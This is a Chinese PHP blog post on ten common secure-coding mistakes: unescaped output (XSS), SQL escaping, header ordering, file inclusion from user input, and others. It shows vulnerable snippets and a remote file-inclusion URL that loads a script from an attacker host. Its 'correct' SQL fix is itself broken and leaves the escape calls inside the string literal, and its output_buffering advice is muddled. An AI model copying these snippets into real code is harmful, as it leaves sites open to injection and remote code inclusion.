php 编写安全的代码时容易犯的错误小结


Posted in PHP onMay 20, 2010

1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:

<?php 
$sql = "UPDATE users SET 
name='.mysql_real_escape_string($name).' 
WHERE id='.mysql_real_escape_string ($id).'"; 
mysql_query($sql); 
?>

3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:

index.php 
<? 
//including header, config, database connection, etc 
include($_GET['filename']); 
//including footer 
?>

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法:
<? 
//Include only files that are allowed. 
$allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
if(in_array((string)$_GET['filename'],$allowedFiles)) { 
include($_GET['filename']); 
} 
else{ 
exit('not allowed'); 
} 
?>

5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!
6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。
7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?
8. 不知道PHP中已经有的功能
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()
9.使用旧版本的PHP
很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.
10.对引号做两次转意
见过网页中出现\'或\'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string

magic quotes on :
It\'s a string
又运行一次
addslashes():
It\\'s a string

HTML输出:
It\'s a string

还有一种情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次!

PHP 相关文章推荐
php5中类的学习
Mar 28 PHP
一步一步学习PHP(5) 类和对象
Feb 16 PHP
php采集文章中的图片获取替换到本地(实现代码)
Jul 08 PHP
使用PHP静态变量当缓存的方法
Nov 13 PHP
可以保证单词完整性的PHP英文字符串截取代码分享
Jul 15 PHP
PHP实现通过Luhn算法校验信用卡卡号是否有效
Mar 23 PHP
PHP连接数据库实现注册页面的增删改查操作
Mar 27 PHP
php ucwords() 函数将字符串中每个单词的首字符转换为大写(实现代码)
May 12 PHP
thinkPHP5.0框架自动加载机制分析
Mar 18 PHP
php命令行写shell实例详解
Jul 19 PHP
PHP实现的ID混淆算法类与用法示例
Aug 10 PHP
PHP大文件切割上传并带进度条功能示例
Jul 01 PHP
Windows7下PHP开发环境安装配置图文方法
May 20 #PHP
Joomla下利用configuration.php存储简单数据
May 19 #PHP
php UTF-8、Unicode和BOM问题
May 18 #PHP
php生成的html meta和link标记在body标签里 顶部有个空行
May 18 #PHP
PHP 工厂模式使用方法
May 18 #PHP
在PHP中使用反射技术的架构插件使用说明
May 18 #PHP
PHP 写文本日志实现代码
May 18 #PHP
You might like
JSON在PHP中的应用介绍
2012/09/08 PHP
PHP判断浏览器、判断语言代码分享
2015/03/05 PHP
jQuery 使用手册(三)
2009/09/23 Javascript
jQuery html()等方法介绍
2009/11/18 Javascript
Javascript对象中关于setTimeout和setInterval的this介绍
2012/07/21 Javascript
jquery实现多级下拉菜单的实例代码
2013/10/02 Javascript
ajax与302响应代码测试
2013/10/23 Javascript
JS可以控制样式的名称写法一览
2014/01/16 Javascript
详谈jQuery中的this和$(this)
2014/11/13 Javascript
html的DOM中document对象forms集合用法实例
2015/01/21 Javascript
javascript原型模式用法实例详解
2015/06/04 Javascript
jQuery树形控件zTree使用小结
2016/08/02 Javascript
BootStrap 可编辑表Table格
2016/11/24 Javascript
Vue.js使用v-show和v-if的注意事项
2016/12/13 Javascript
JS简单获取日期相差天数的方法
2017/04/24 Javascript
vue element-ui 绑定@keyup事件无效的解决方法
2018/03/09 Javascript
详解开发react应用最好用的脚手架 create-react-app
2018/04/24 Javascript
Nuxt.js开启SSR渲染的教程详解
2018/11/30 Javascript
手把手教你 CKEDITOR 4 实现Dialog 内嵌 IFrame操作详解
2019/06/18 Javascript
Python 学习笔记
2008/12/27 Python
python使用append合并两个数组的方法
2015/04/28 Python
python3+mysql查询数据并通过邮件群发excel附件
2018/02/24 Python
python实现对csv文件的列的内容读取
2018/07/04 Python
Python实现九宫格式的朋友圈功能内附“马云”朋友圈
2019/05/07 Python
深入了解Python在HDA中的应用
2019/09/05 Python
图解python全局变量与局部变量相关知识
2019/11/02 Python
Django框架请求生命周期实现原理
2020/11/13 Python
夏威夷航空官网:Hawaiian Airlines
2016/09/11 全球购物
测绘工程系学生的自我评价
2013/11/30 职场文书
销售员求职个人的自我评价
2014/02/19 职场文书
少先队学雷锋活动月总结
2014/03/09 职场文书
专题民主生活会对照检查材料思想汇报
2014/09/29 职场文书
设立有限责任公司出资协议书
2014/11/01 职场文书
毕业生对母校寄语
2015/02/26 职场文书
多表查询、事务、DCL
2021/04/05 MySQL
redis客户端实现高可用读写分离的方式详解
2021/07/04 Redis